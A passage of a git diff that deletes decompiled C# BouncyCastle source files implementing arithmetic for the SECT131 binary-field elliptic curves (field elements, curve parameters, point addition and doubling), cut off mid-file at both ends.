ImplCompactExt(zz); - } - - protected static void ImplMulw(ulong x, ulong y, ulong[] z, int zOff) - { - ulong[] array = new ulong[8]; - array[1] = y; - array[2] = array[1] << 1; - array[3] = array[2] ^ y; - array[4] = array[2] << 1; - array[5] = array[4] ^ y; - array[6] = array[3] << 1; - array[7] = array[6] ^ y; - uint num = (uint)x; - ulong num2 = 0uL; - ulong num3 = array[num & 7] ^ (array[(num >> 3) & 7] << 3) ^ (array[(num >> 6) & 7] << 6); - int num4 = 33; - do - { - num = (uint)(x >> num4); - ulong num5 = array[num & 7] ^ (array[(num >> 3) & 7] << 3) ^ (array[(num >> 6) & 7] << 6) ^ (array[(num >> 9) & 7] << 9); - num3 ^= num5 << num4; - num2 ^= num5 >> -num4; - } - while ((num4 -= 12) > 0); - z[zOff] = num3 & 0xFFFFFFFFFFFL; - z[zOff + 1] = (num3 >> 44) ^ (num2 << 20); - } - - protected static void ImplSquare(ulong[] x, ulong[] zz) - { - Interleave.Expand64To128(x[0], zz, 0); - Interleave.Expand64To128(x[1], zz, 2); - zz[4] = Interleave.Expand8to16((uint)x[2]); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT131FieldElement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT131FieldElement.cs deleted file mode 100644 index 27b2946..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT131FieldElement.cs +++ /dev/null @@ -1,195 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT131FieldElement : AbstractF2mFieldElement -{ - protected internal readonly ulong[] x; - - public override bool IsOne => Nat192.IsOne64(x); - - public override bool IsZero => Nat192.IsZero64(x); - - public override string FieldName => "SecT131Field"; - - public override int FieldSize => 131; - - public virtual int Representation => 3; - - public virtual int M => 131; - - public virtual int K1 => 2; - - public virtual int K2 => 3; - - public virtual int K3 => 8; - - public SecT131FieldElement(BigInteger x) - { - if (x == null || x.SignValue < 0 || x.BitLength > 131) - { - throw new ArgumentException("value invalid for SecT131FieldElement", "x"); - } - this.x = SecT131Field.FromBigInteger(x); - } - - public SecT131FieldElement() - { - x = Nat192.Create64(); - } - - protected internal SecT131FieldElement(ulong[] x) - { - this.x = x; - } - - public override bool TestBitZero() - { - return (x[0] & 1) != 0; - } - - public override BigInteger ToBigInteger() - { - return Nat192.ToBigInteger64(x); - } - - public override ECFieldElement Add(ECFieldElement b) - { - ulong[] z = Nat192.Create64(); - SecT131Field.Add(x, ((SecT131FieldElement)b).x, z); - return new SecT131FieldElement(z); - } - - public override ECFieldElement AddOne() - { - ulong[] z = Nat192.Create64(); - SecT131Field.AddOne(x, z); - return new SecT131FieldElement(z); - } - - public override ECFieldElement Subtract(ECFieldElement b) - { - return Add(b); - } - - public override ECFieldElement Multiply(ECFieldElement b) - { - ulong[] z = Nat192.Create64(); - SecT131Field.Multiply(x, ((SecT131FieldElement)b).x, z); - return new SecT131FieldElement(z); - } - - public override ECFieldElement MultiplyMinusProduct(ECFieldElement b, ECFieldElement x, ECFieldElement y) - { - return MultiplyPlusProduct(b, x, y); - } - - public override ECFieldElement MultiplyPlusProduct(ECFieldElement b, ECFieldElement x, ECFieldElement y) - { - ulong[] array = this.x; - ulong[] y2 = ((SecT131FieldElement)b).x; - ulong[] array2 = ((SecT131FieldElement)x).x; - ulong[] y3 = ((SecT131FieldElement)y).x; - ulong[] array3 = Nat.Create64(5); - SecT131Field.MultiplyAddToExt(array, y2, array3); - SecT131Field.MultiplyAddToExt(array2, y3, array3); - ulong[] z = Nat192.Create64(); - SecT131Field.Reduce(array3, z); - return new SecT131FieldElement(z); - } - - public override ECFieldElement Divide(ECFieldElement b) - { - return Multiply(b.Invert()); - } - - public override ECFieldElement Negate() - { - return this; - } - - public override ECFieldElement Square() - { - ulong[] z = Nat192.Create64(); - SecT131Field.Square(x, z); - return new SecT131FieldElement(z); - } - - public override ECFieldElement SquareMinusProduct(ECFieldElement x, ECFieldElement y) - { - return SquarePlusProduct(x, y); - } - - public override ECFieldElement SquarePlusProduct(ECFieldElement x, ECFieldElement y) - { - ulong[] array = this.x; - ulong[] array2 = ((SecT131FieldElement)x).x; - ulong[] y2 = ((SecT131FieldElement)y).x; - ulong[] array3 = Nat.Create64(5); - SecT131Field.SquareAddToExt(array, array3); - SecT131Field.MultiplyAddToExt(array2, y2, array3); - ulong[] z = Nat192.Create64(); - SecT131Field.Reduce(array3, z); - return new SecT131FieldElement(z); - } - - public override ECFieldElement SquarePow(int pow) - { - if (pow < 1) - { - return this; - } - ulong[] z = Nat192.Create64(); - SecT131Field.SquareN(x, pow, z); - return new SecT131FieldElement(z); - } - - public override int Trace() - { - return (int)SecT131Field.Trace(x); - } - - public override ECFieldElement Invert() - { - ulong[] z = Nat192.Create64(); - SecT131Field.Invert(x, z); - return new SecT131FieldElement(z); - } - - public override ECFieldElement Sqrt() - { - ulong[] z = Nat192.Create64(); - SecT131Field.Sqrt(x, z); - return new SecT131FieldElement(z); - } - - public override bool Equals(object obj) - { - return Equals(obj as SecT131FieldElement); - } - - public override bool Equals(ECFieldElement other) - { - return Equals(other as SecT131FieldElement); - } - - public virtual bool Equals(SecT131FieldElement other) - { - if (this == other) - { - return true; - } - if (other == null) - { - return false; - } - return Nat192.Eq64(x, other.x); - } - - public override int GetHashCode() - { - return 0x202F8 ^ Arrays.GetHashCode(x, 0, 3); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT131R1Curve.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT131R1Curve.cs deleted file mode 100644 index 85cee98..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT131R1Curve.cs +++ /dev/null @@ -1,127 +0,0 @@ -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT131R1Curve : AbstractF2mCurve -{ - private class SecT131R1LookupTable : ECLookupTable - { - private readonly SecT131R1Curve m_outer; - - private readonly ulong[] m_table; - - private readonly int m_size; - - public virtual int Size => m_size; - - internal SecT131R1LookupTable(SecT131R1Curve outer, ulong[] table, int size) - { - m_outer = outer; - m_table = table; - m_size = size; - } - - public virtual ECPoint Lookup(int index) - { - ulong[] array = Nat192.Create64(); - ulong[] array2 = Nat192.Create64(); - int num = 0; - for (int i = 0; i < m_size; i++) - { - ulong num2 = (ulong)((i ^ index) - 1 >> 31); - for (int j = 0; j < 3; j++) - { - ulong[] array4; - ulong[] array3 = (array4 = array); - int num3 = j; - nint num4 = num3; - array3[num3] = array4[num4] ^ (m_table[num + j] & num2); - ulong[] array5 = (array4 = array2); - int num5 = j; - num4 = num5; - array5[num5] = array4[num4] ^ (m_table[num + 3 + j] & num2); - } - num += 6; - } - return m_outer.CreateRawPoint(new SecT131FieldElement(array), new SecT131FieldElement(array2), withCompression: false); - } - } - - private const int SECT131R1_DEFAULT_COORDS = 6; - - private const int SECT131R1_FE_LONGS = 3; - - protected readonly SecT131R1Point m_infinity; - - public override ECPoint Infinity => m_infinity; - - public override int FieldSize => 131; - - public override bool IsKoblitz => false; - - public virtual int M => 131; - - public virtual bool IsTrinomial => false; - - public virtual int K1 => 2; - - public virtual int K2 => 3; - - public virtual int K3 => 8; - - public SecT131R1Curve() - : base(131, 2, 3, 8) - { - m_infinity = new SecT131R1Point(this, null, null); - m_a = FromBigInteger(new BigInteger(1, Hex.Decode("07A11B09A76B562144418FF3FF8C2570B8"))); - m_b = FromBigInteger(new BigInteger(1, Hex.Decode("0217C05610884B63B9C6C7291678F9D341"))); - m_order = new BigInteger(1, Hex.Decode("0400000000000000023123953A9464B54D")); - m_cofactor = BigInteger.Two; - m_coord = 6; - } - - protected override ECCurve CloneCurve() - { - return new SecT131R1Curve(); - } - - public override bool SupportsCoordinateSystem(int coord) - { - if (coord == 6) - { - return true; - } - return false; - } - - public override ECFieldElement FromBigInteger(BigInteger x) - { - return new SecT131FieldElement(x); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, bool withCompression) - { - return new SecT131R1Point(this, x, y, withCompression); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - { - return new SecT131R1Point(this, x, y, zs, withCompression); - } - - public override ECLookupTable CreateCacheSafeLookupTable(ECPoint[] points, int off, int len) - { - ulong[] array = new ulong[len * 3 * 2]; - int num = 0; - for (int i = 0; i < len; i++) - { - ECPoint eCPoint = points[off + i]; - Nat192.Copy64(((SecT131FieldElement)eCPoint.RawXCoord).x, 0, array, num); - num += 3; - Nat192.Copy64(((SecT131FieldElement)eCPoint.RawYCoord).x, 0, array, num); - num += 3; - } - return new SecT131R1LookupTable(this, array, len); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT131R1Point.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT131R1Point.cs deleted file mode 100644 index 67f55e4..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT131R1Point.cs +++ /dev/null @@ -1,260 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT131R1Point : AbstractF2mPoint -{ - public override ECFieldElement YCoord - { - get - { - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawYCoord = base.RawYCoord; - if (base.IsInfinity || rawXCoord.IsZero) - { - return rawYCoord; - } - ECFieldElement eCFieldElement = rawYCoord.Add(rawXCoord).Multiply(rawXCoord); - ECFieldElement eCFieldElement2 = base.RawZCoords[0]; - if (!eCFieldElement2.IsOne) - { - eCFieldElement = eCFieldElement.Divide(eCFieldElement2); - } - return eCFieldElement; - } - } - - protected internal override bool CompressionYTilde - { - get - { - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return false; - } - ECFieldElement rawYCoord = base.RawYCoord; - return rawYCoord.TestBitZero() != rawXCoord.TestBitZero(); - } - } - - public SecT131R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y) - : this(curve, x, y, withCompression: false) - { - } - - public SecT131R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, bool withCompression) - : base(curve, x, y, withCompression) - { - if (x == null != (y == null)) - { - throw new ArgumentException("Exactly one of the field elements is null"); - } - } - - internal SecT131R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - : base(curve, x, y, zs, withCompression) - { - } - - protected override ECPoint Detach() - { - return new SecT131R1Point(null, AffineXCoord, AffineYCoord); - } - - public override ECPoint Add(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawXCoord2 = b.RawXCoord; - if (rawXCoord.IsZero) - { - if (rawXCoord2.IsZero) - { - return curve.Infinity; - } - return b.Add(this); - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - ECFieldElement rawYCoord2 = b.RawYCoord; - ECFieldElement eCFieldElement2 = b.RawZCoords[0]; - bool isOne = eCFieldElement.IsOne; - ECFieldElement eCFieldElement3 = rawXCoord2; - ECFieldElement eCFieldElement4 = rawYCoord2; - if (!isOne) - { - eCFieldElement3 = eCFieldElement3.Multiply(eCFieldElement); - eCFieldElement4 = eCFieldElement4.Multiply(eCFieldElement); - } - bool isOne2 = eCFieldElement2.IsOne; - ECFieldElement eCFieldElement5 = rawXCoord; - ECFieldElement eCFieldElement6 = rawYCoord; - if (!isOne2) - { - eCFieldElement5 = eCFieldElement5.Multiply(eCFieldElement2); - eCFieldElement6 = eCFieldElement6.Multiply(eCFieldElement2); - } - ECFieldElement eCFieldElement7 = eCFieldElement6.Add(eCFieldElement4); - ECFieldElement eCFieldElement8 = eCFieldElement5.Add(eCFieldElement3); - if (eCFieldElement8.IsZero) - { - if (eCFieldElement7.IsZero) - { - return Twice(); - } - return curve.Infinity; - } - ECFieldElement eCFieldElement10; - ECFieldElement y; - ECFieldElement eCFieldElement12; - if (rawXCoord2.IsZero) - { - ECPoint eCPoint = Normalize(); - rawXCoord = eCPoint.XCoord; - ECFieldElement yCoord = eCPoint.YCoord; - ECFieldElement b2 = rawYCoord2; - ECFieldElement eCFieldElement9 = yCoord.Add(b2).Divide(rawXCoord); - eCFieldElement10 = eCFieldElement9.Square().Add(eCFieldElement9).Add(rawXCoord) - .Add(curve.A); - if (eCFieldElement10.IsZero) - { - return new SecT131R1Point(curve, eCFieldElement10, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement eCFieldElement11 = eCFieldElement9.Multiply(rawXCoord.Add(eCFieldElement10)).Add(eCFieldElement10).Add(yCoord); - y = eCFieldElement11.Divide(eCFieldElement10).Add(eCFieldElement10); - eCFieldElement12 = curve.FromBigInteger(BigInteger.One); - } - else - { - eCFieldElement8 = eCFieldElement8.Square(); - ECFieldElement eCFieldElement13 = eCFieldElement7.Multiply(eCFieldElement5); - ECFieldElement eCFieldElement14 = eCFieldElement7.Multiply(eCFieldElement3); - eCFieldElement10 = eCFieldElement13.Multiply(eCFieldElement14); - if (eCFieldElement10.IsZero) - { - return new SecT131R1Point(curve, eCFieldElement10, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement eCFieldElement15 = eCFieldElement7.Multiply(eCFieldElement8); - if (!isOne2) - { - eCFieldElement15 = eCFieldElement15.Multiply(eCFieldElement2); - } - y = eCFieldElement14.Add(eCFieldElement8).SquarePlusProduct(eCFieldElement15, rawYCoord.Add(eCFieldElement)); - eCFieldElement12 = eCFieldElement15; - if (!isOne) - { - eCFieldElement12 = eCFieldElement12.Multiply(eCFieldElement); - } - } - return new SecT131R1Point(curve, eCFieldElement10, y, new ECFieldElement[1] { eCFieldElement12 }, base.IsCompressed); - } - - public override ECPoint Twice() - { - if (base.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return curve.Infinity; - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - bool isOne = eCFieldElement.IsOne; - ECFieldElement eCFieldElement2 = (isOne ? rawYCoord : rawYCoord.Multiply(eCFieldElement)); - ECFieldElement b = (isOne ? eCFieldElement : eCFieldElement.Square()); - ECFieldElement a = curve.A; - ECFieldElement b2 = (isOne ? a : a.Multiply(b)); - ECFieldElement eCFieldElement3 = rawYCoord.Square().Add(eCFieldElement2).Add(b2); - if (eCFieldElement3.IsZero) - { - return new SecT131R1Point(curve, eCFieldElement3, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement eCFieldElement4 = eCFieldElement3.Square(); - ECFieldElement eCFieldElement5 = (isOne ? eCFieldElement3 : eCFieldElement3.Multiply(b)); - ECFieldElement eCFieldElement6 = (isOne ? rawXCoord : rawXCoord.Multiply(eCFieldElement)); - ECFieldElement y = eCFieldElement6.SquarePlusProduct(eCFieldElement3, eCFieldElement2).Add(eCFieldElement4).Add(eCFieldElement5); - return new SecT131R1Point(curve, eCFieldElement4, y, new ECFieldElement[1] { eCFieldElement5 }, base.IsCompressed); - } - - public override ECPoint TwicePlus(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return Twice(); - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return b; - } - ECFieldElement rawXCoord2 = b.RawXCoord; - ECFieldElement eCFieldElement = b.RawZCoords[0]; - if (rawXCoord2.IsZero || !eCFieldElement.IsOne) - { - return Twice().Add(b); - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement2 = base.RawZCoords[0]; - ECFieldElement rawYCoord2 = b.RawYCoord; - ECFieldElement x = rawXCoord.Square(); - ECFieldElement b2 = rawYCoord.Square(); - ECFieldElement eCFieldElement3 = eCFieldElement2.Square(); - ECFieldElement b3 = rawYCoord.Multiply(eCFieldElement2); - ECFieldElement b4 = curve.A.Multiply(eCFieldElement3).Add(b2).Add(b3); - ECFieldElement eCFieldElement4 = rawYCoord2.AddOne(); - ECFieldElement eCFieldElement5 = curve.A.Add(eCFieldElement4).Multiply(eCFieldElement3).Add(b2) - .MultiplyPlusProduct(b4, x, eCFieldElement3); - ECFieldElement eCFieldElement6 = rawXCoord2.Multiply(eCFieldElement3); - ECFieldElement eCFieldElement7 = eCFieldElement6.Add(b4).Square(); - if (eCFieldElement7.IsZero) - { - if (eCFieldElement5.IsZero) - { - return b.Twice(); - } - return curve.Infinity; - } - if (eCFieldElement5.IsZero) - { - return new SecT131R1Point(curve, eCFieldElement5, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement x2 = eCFieldElement5.Square().Multiply(eCFieldElement6); - ECFieldElement eCFieldElement8 = eCFieldElement5.Multiply(eCFieldElement7).Multiply(eCFieldElement3); - ECFieldElement y = eCFieldElement5.Add(eCFieldElement7).Square().MultiplyPlusProduct(b4, eCFieldElement4, eCFieldElement8); - return new SecT131R1Point(curve, x2, y, new ECFieldElement[1] { eCFieldElement8 }, base.IsCompressed); - } - - public override ECPoint Negate() - { - if (base.IsInfinity) - { - return this; - } - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return this; - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - return new SecT131R1Point(Curve, rawXCoord, rawYCoord.Add(eCFieldElement), new ECFieldElement[1] { eCFieldElement }, base.IsCompressed); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT131R2Curve.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT131R2Curve.cs deleted file mode 100644 index b43d784..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT131R2Curve.cs +++ /dev/null @@ -1,127 +0,0 @@ -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT131R2Curve : AbstractF2mCurve -{ - private class SecT131R2LookupTable : ECLookupTable - { - private readonly SecT131R2Curve m_outer; - - private readonly ulong[] m_table; - - private readonly int m_size; - - public virtual int Size => m_size; - - internal SecT131R2LookupTable(SecT131R2Curve outer, ulong[] table, int size) - { - m_outer = outer; - m_table = table; - m_size = size; - } - - public virtual ECPoint Lookup(int index) - { - ulong[] array = Nat192.Create64(); - ulong[] array2 = Nat192.Create64(); - int num = 0; - for (int i = 0; i < m_size; i++) - { - ulong num2 = (ulong)((i ^ index) - 1 >> 31); - for (int j = 0; j < 3; j++) - { - ulong[] array4; - ulong[] array3 = (array4 = array); - int num3 = j; - nint num4 = num3; - array3[num3] = array4[num4] ^ (m_table[num + j] & num2); - ulong[] array5 = (array4 = array2); - int num5 = j; - num4 = num5; - array5[num5] = array4[num4] ^ (m_table[num + 3 + j] & num2); - } - num += 6; - } - return m_outer.CreateRawPoint(new SecT131FieldElement(array), new SecT131FieldElement(array2), withCompression: false); - } - } - - private const int SECT131R2_DEFAULT_COORDS = 6; - - private const int SECT131R2_FE_LONGS = 3; - - protected readonly SecT131R2Point m_infinity; - - public override int FieldSize => 131; - - public override ECPoint Infinity => m_infinity; - - public override bool IsKoblitz => false; - - public virtual int M => 131; - - public virtual bool IsTrinomial => false; - - public virtual int K1 => 2; - - public virtual int K2 => 3; - - public virtual int K3 => 8; - - public SecT131R2Curve() - : base(131, 2, 3, 8) - { - m_infinity = new SecT131R2Point(this, null, null); - m_a = FromBigInteger(new BigInteger(1, Hex.Decode("03E5A88919D7CAFCBF415F07C2176573B2"))); - m_b = FromBigInteger(new BigInteger(1, Hex.Decode("04B8266A46C55657AC734CE38F018F2192"))); - m_order = new BigInteger(1, Hex.Decode("0400000000000000016954A233049BA98F")); - m_cofactor = BigInteger.Two; - m_coord = 6; - } - - protected override ECCurve CloneCurve() - { - return new SecT131R2Curve(); - } - - public override bool SupportsCoordinateSystem(int coord) - { - if (coord == 6) - { - return true; - } - return false; - } - - public override ECFieldElement FromBigInteger(BigInteger x) - { - return new SecT131FieldElement(x); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, bool withCompression) - { - return new SecT131R2Point(this, x, y, withCompression); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - { - return new SecT131R2Point(this, x, y, zs, withCompression); - } - - public override ECLookupTable CreateCacheSafeLookupTable(ECPoint[] points, int off, int len) - { - ulong[] array = new ulong[len * 3 * 2]; - int num = 0; - for (int i = 0; i < len; i++) - { - ECPoint eCPoint = points[off + i]; - Nat192.Copy64(((SecT131FieldElement)eCPoint.RawXCoord).x, 0, array, num); - num += 3; - Nat192.Copy64(((SecT131FieldElement)eCPoint.RawYCoord).x, 0, array, num); - num += 3; - } - return new SecT131R2LookupTable(this, array, len); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT131R2Point.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT131R2Point.cs deleted file mode 100644 index cbd1c54..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT131R2Point.cs +++ /dev/null @@ -1,260 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT131R2Point : AbstractF2mPoint -{ - public override ECFieldElement YCoord - { - get - { - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawYCoord = base.RawYCoord; - if (base.IsInfinity || rawXCoord.IsZero) - { - return rawYCoord; - } - ECFieldElement eCFieldElement = rawYCoord.Add(rawXCoord).Multiply(rawXCoord); - ECFieldElement eCFieldElement2 = base.RawZCoords[0]; - if (!eCFieldElement2.IsOne) - { - eCFieldElement = eCFieldElement.Divide(eCFieldElement2); - } - return eCFieldElement; - } - } - - protected internal override bool CompressionYTilde - { - get - { - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return false; - } - ECFieldElement rawYCoord = base.RawYCoord; - return rawYCoord.TestBitZero() != rawXCoord.TestBitZero(); - } - } - - public SecT131R2Point(ECCurve curve, ECFieldElement x, ECFieldElement y) - : this(curve, x, y, withCompression: false) - { - } - - public SecT131R2Point(ECCurve curve, ECFieldElement x, ECFieldElement y, bool withCompression) - : base(curve, x, y, withCompression) - { - if (x == null != (y == null)) - { - throw new ArgumentException("Exactly one of the field elements is null"); - } - } - - internal SecT131R2Point(ECCurve curve, ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - : base(curve, x, y, zs, withCompression) - { - } - - protected override ECPoint Detach() - { - return new SecT131R2Point(null, AffineXCoord, AffineYCoord); - } - - public override ECPoint Add(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawXCoord2 = b.RawXCoord; - if (rawXCoord.IsZero) - { - if (rawXCoord2.IsZero) - { - return curve.Infinity; - } - return b.Add(this); - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - ECFieldElement rawYCoord2 = b.RawYCoord; - ECFieldElement eCFieldElement2 = b.RawZCoords[0]; - bool isOne = eCFieldElement.IsOne; - ECFieldElement eCFieldElement3 = rawXCoord2; - ECFieldElement eCFieldElement4 = rawYCoord2; - if (!isOne) - { - eCFieldElement3 = eCFieldElement3.Multiply(eCFieldElement); - eCFieldElement4 = eCFieldElement4.Multiply(eCFieldElement); - } - bool isOne2 = eCFieldElement2.IsOne; - ECFieldElement eCFieldElement5 = rawXCoord; - ECFieldElement eCFieldElement6 = rawYCoord; - if (!isOne2) - { - eCFieldElement5 = eCFieldElement5.Multiply(eCFieldElement2); - eCFieldElement6 = eCFieldElement6.Multiply(eCFieldElement2); - } - ECFieldElement eCFieldElement7 = eCFieldElement6.Add(eCFieldElement4); - ECFieldElement eCFieldElement8 = eCFieldElement5.Add(eCFieldElement3); - if (eCFieldElement8.IsZero) - { - if (eCFieldElement7.IsZero) - { - return Twice(); - } - return curve.Infinity; - } - ECFieldElement eCFieldElement10; - ECFieldElement y; - ECFieldElement eCFieldElement12; - if (rawXCoord2.IsZero) - { - ECPoint eCPoint = Normalize(); - rawXCoord = eCPoint.XCoord; - ECFieldElement yCoord = eCPoint.YCoord; - ECFieldElement b2 = rawYCoord2; - ECFieldElement eCFieldElement9 = yCoord.Add(b2).Divide(rawXCoord); - eCFieldElement10 = eCFieldElement9.Square().Add(eCFieldElement9).Add(rawXCoord) - .Add(curve.A); - if (eCFieldElement10.IsZero) - { - return new SecT131R2Point(curve, eCFieldElement10, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement eCFieldElement11 = eCFieldElement9.Multiply(rawXCoord.Add(eCFieldElement10)).Add(eCFieldElement10).Add(yCoord); - y = eCFieldElement11.Divide(eCFieldElement10).Add(eCFieldElement10); - eCFieldElement12 = curve.FromBigInteger(BigInteger.One); - } - else - { - eCFieldElement8 = eCFieldElement8.Square(); - ECFieldElement eCFieldElement13 = eCFieldElement7.Multiply(eCFieldElement5); - ECFieldElement eCFieldElement14 = eCFieldElement7.Multiply(eCFieldElement3); - eCFieldElement10 = eCFieldElement13.Multiply(eCFieldElement14); - if (eCFieldElement10.IsZero) - { - return new SecT131R2Point(curve, eCFieldElement10, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement eCFieldElement15 = eCFieldElement7.Multiply(eCFieldElement8); - if (!isOne2) - { - eCFieldElement15 = eCFieldElement15.Multiply(eCFieldElement2); - } - y = eCFieldElement14.Add(eCFieldElement8).SquarePlusProduct(eCFieldElement15, rawYCoord.Add(eCFieldElement)); - eCFieldElement12 = eCFieldElement15; - if (!isOne) - { - eCFieldElement12 = eCFieldElement12.Multiply(eCFieldElement); - } - } - return new SecT131R2Point(curve, eCFieldElement10, y, new ECFieldElement[1] { eCFieldElement12 }, base.IsCompressed); - } - - public override ECPoint Twice() - { - if (base.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return curve.Infinity; - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - bool isOne = eCFieldElement.IsOne; - ECFieldElement eCFieldElement2 = (isOne ? rawYCoord : rawYCoord.Multiply(eCFieldElement)); - ECFieldElement b = (isOne ? eCFieldElement : eCFieldElement.Square()); - ECFieldElement a = curve.A; - ECFieldElement b2 = (isOne ? a : a.Multiply(b)); - ECFieldElement eCFieldElement3 = rawYCoord.Square().Add(eCFieldElement2).Add(b2); - if (eCFieldElement3.IsZero) - { - return new SecT131R2Point(curve, eCFieldElement3, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement eCFieldElement4 = eCFieldElement3.Square(); - ECFieldElement eCFieldElement5 = (isOne ? eCFieldElement3 : eCFieldElement3.Multiply(b)); - ECFieldElement eCFieldElement6 = (isOne ? rawXCoord : rawXCoord.Multiply(eCFieldElement)); - ECFieldElement y = eCFieldElement6.SquarePlusProduct(eCFieldElement3, eCFieldElement2).Add(eCFieldElement4).Add(eCFieldElement5); - return new SecT131R2Point(curve, eCFieldElement4, y, new ECFieldElement[1] { eCFieldElement5 }, base.IsCompressed); - } - - public override ECPoint TwicePlus(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return Twice(); - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return b; - } - ECFieldElement rawXCoord2 = b.RawXCoord; - ECFieldElement eCFieldElement = b.RawZCoords[0]; - if (rawXCoord2.IsZero || !eCFieldElement.IsOne) - { - return Twice().Add(b); - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement2 = base.RawZCoords[0]; - ECFieldElement rawYCoord2 = b.RawYCoord; - ECFieldElement x = rawXCoord.Square(); - ECFieldElement b2 = rawYCoord.Square(); - ECFieldElement eCFieldElement3 = eCFieldElement2.Square(); - ECFieldElement b3 = rawYCoord.Multiply(eCFieldElement2); - ECFieldElement b4 = curve.A.Multiply(eCFieldElement3).Add(b2).Add(b3); - ECFieldElement eCFieldElement4 = rawYCoord2.AddOne(); - ECFieldElement eCFieldElement5 = curve.A.Add(eCFieldElement4).Multiply(eCFieldElement3).Add(b2) - .MultiplyPlusProduct(b4, x, eCFieldElement3); - ECFieldElement eCFieldElement6 = rawXCoord2.Multiply(eCFieldElement3); - ECFieldElement eCFieldElement7 = eCFieldElement6.Add(b4).Square(); - if (eCFieldElement7.IsZero) - { - if (eCFieldElement5.IsZero) - { - return b.Twice(); - } - return curve.Infinity; - } - if (eCFieldElement5.IsZero) - { - return new SecT131R2Point(curve, eCFieldElement5, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement x2 = eCFieldElement5.Square().Multiply(eCFieldElement6); - ECFieldElement eCFieldElement8 = 